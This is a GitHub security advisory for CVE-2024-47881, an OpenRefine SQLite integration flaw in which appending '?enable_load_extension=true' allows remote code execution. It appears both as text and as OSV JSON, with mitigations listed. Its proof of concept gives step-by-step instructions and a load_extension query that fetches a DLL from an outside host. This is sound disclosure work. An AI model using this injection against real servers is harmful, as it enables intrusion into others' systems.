ghsa-87cf-j763-vvh8
Vulnerability from github
Summary
In the database
extension, the "enable_load_extension" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server.
The attacker needs to have network access to the OpenRefine instance.
Details
The database
extension, with some restrictions, lets users connect to any database they wish by filling in different parts of the JDBC URL that is used. For the SQLite integration, the extension expects a file path pointing to a database file (or a place where such a file can be created). This means that users can:
- Read files on local or SMB filesystems, provided they are SQLite databases.
- Write to files on local or SMB filesystems, as long as those files are either SQLite databases or empty.
This seems to be the expected behavior.
However, by adding ?enable_load_extension=true
to the filename, a feature is toggled that additionally allows loading and executing shared libraries mentioned in queries, leading to remote code execution. On Windows specifically, those libraries may also come from shared folders.
Possible mitigation and hardening steps could include:
- Having users upload the SQLite database file they want to look at, storing it under some safe name, then opening that, rather than accepting a file path
- If that is not feasible: making the path relative to, and checking that it does not escape, the workspace directory
- If that is also not feasible: adding additional checks so that the path at least does not point to other machines or add JDBC parameters
- Always using the READONLY open mode
- Explicitly setting enable_load_extension to off
- Enforcing stricter limits and similar precautions
PoC
Tested on a Windows 11 machine.
- Start OpenRefine and choose "Create project", "Database", database type "SQLite".
- Type a writable file path followed by
?enable_load_extension=true
. - Click Connect. The connection should succeed.
- Use
SELECT load_extension('\\wandernauta.nl\public\libcalculator.dll');
as the query. - Assuming there are no firewalls in the way, a few Windows calculators should open.
The same file is available from https://wandernauta.nl/libcalculator.dll if needed.
Impact
Remote code execution for attackers with network access to OpenRefine.
{ "affected": [ { "package": { "ecosystem": "Maven", "name": "org.openrefine:database" }, "ranges": [ { "events": [ { "introduced": "3.4-beta" }, { "fixed": "3.8.3" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-47881" ], "database_specific": { "cwe_ids": [], "github_reviewed": true, "github_reviewed_at": "2024-10-24T18:11:20Z", "nvd_published_at": null, "severity": "HIGH" }, "details": "### Summary\n\nIn the `database` extension, the \"enable_load_extension\" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server.\n\nThe attacker needs to have network access to the OpenRefine instance.\n\n### Details\n\nThe `database` extension, with some restrictions, lets users connect to any database they wish by filling in different parts of the JDBC URL that is used. For the SQLite integration, the extension expects a file path pointing to a database file (or a place where such a file can be created). This means that users can:\n\n* Read files on local or SMB filesystems, provided they are SQLite databases.\n* Write to files on local or SMB filesystems, as long as those files are either SQLite databases or empty.\n\nThis seems to be the expected behavior.\n\nHowever, by adding `?enable_load_extension=true` to the filename, a [feature](https://www.sqlite.org/loadext.html) is toggled that additionally allows loading and executing shared libraries mentioned in queries, leading to remote code execution. On Windows specifically, those libraries may also come from shared folders.\n\nPossible mitigation and hardening steps could include:\n\n- Having users upload the SQLite database file they want to look at, storing it under some safe name, then opening that, rather than accepting a file path\n- If that is not feasible: making the path relative to, and checking that it does not escape, the workspace directory\n- If that is also not feasible: adding additional checks so that the path at least does not point to other machines or add JDBC parameters\n- Always using the READONLY open mode\n- Explicitly setting enable_load_extension to off\n- Enforcing [stricter limits](https://www.sqlite.org/security.html) and similar precautions\n\n### PoC\n\nTested on a Windows 11 machine. \n\n1. Start OpenRefine and choose \"Create project\", \"Database\", database type \"SQLite\".\n2. Type a writable file path followed by `?enable_load_extension=true`.\n3. Click Connect. The connection should succeed.\n4. Use `SELECT load_extension(\u0027\\\\wandernauta.nl\\public\\libcalculator.dll\u0027);` as the query.\n5. Assuming there are no firewalls in the way, a few Windows calculators should open.\n\nThe same file is available from https://wandernauta.nl/libcalculator.dll if needed.\n\n### Impact\n\nRemote code execution for attackers with network access to OpenRefine.", "id": "GHSA-87cf-j763-vvh8", "modified": "2024-10-24T18:11:20Z", "published": "2024-10-24T18:11:20Z", "references": [ { "type": "WEB", "url": "https://github.com/OpenRefine/OpenRefine/security/advisories/GHSA-87cf-j763-vvh8" }, { "type": "WEB", "url": "https://github.com/OpenRefine/OpenRefine/commit/853a1d91662e7dc278a9a94a38be58de04494056" }, { "type": "PACKAGE", "url": "https://github.com/OpenRefine/OpenRefine" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "type": "CVSS_V3" } ], "summary": "OpenRefine\u0027s SQLite integration allows filesystem access, remote code execution (RCE)" }
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.